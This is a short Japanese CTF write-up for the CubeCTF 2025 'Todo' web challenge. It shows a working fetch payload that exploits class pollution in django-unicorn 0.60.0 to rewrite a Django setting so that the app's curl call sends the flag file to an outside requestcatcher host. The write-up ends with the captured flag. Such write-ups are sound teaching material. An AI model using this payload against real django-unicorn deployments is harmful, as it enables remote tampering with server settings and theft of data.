web/Todo
🚩 #cubectf-2025 #web #2025 55 solves / 471 pts.
code:Dockerfile
RUN pip install django django-unicorn==0.60.0
django-unicornのバージョンが固定されている。これにはClass Pollutionの脆弱性が存在している。
https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43
code:urls.py
def home(request):
system(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
return render(request, f'index.html')
アクセス時に実行される関数でsettings.CONTACT_URLにフラグを送信している。よってこれを変更できればフラグを獲得できる。
code:poc.js
fetch("http://todo.chal.cubectf.com:1337/unicorn/message/todo", {
method: "POST",
headers: {
"Content-Type": "application/json",
"x-csrftoken": "fVVwi6R9ykD85KaR8O2Z6V3nRlLZaAS0",
},
body: JSON.stringify({
id: "a2u8Myxo",
data: {task: "", tasks: []},
checksum: "kZq7UWuQ",
actionQueue: [
{
type: "syncInput",
payload: {
name: "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
value: "https://dh.requestcatcher.com/t"
},
partials: []
},
{
type: "callMethod",
payload: {
name: "add"
},
partials: []
}
],
epoch: 1751810864567,
hash: "FqHRwNhE"
}),
mode: "cors",
credentials: "include"
});
これでフラグ獲得。
cube{t0d0_n3v3r_g3ts_t0d0n_3dfa06f8}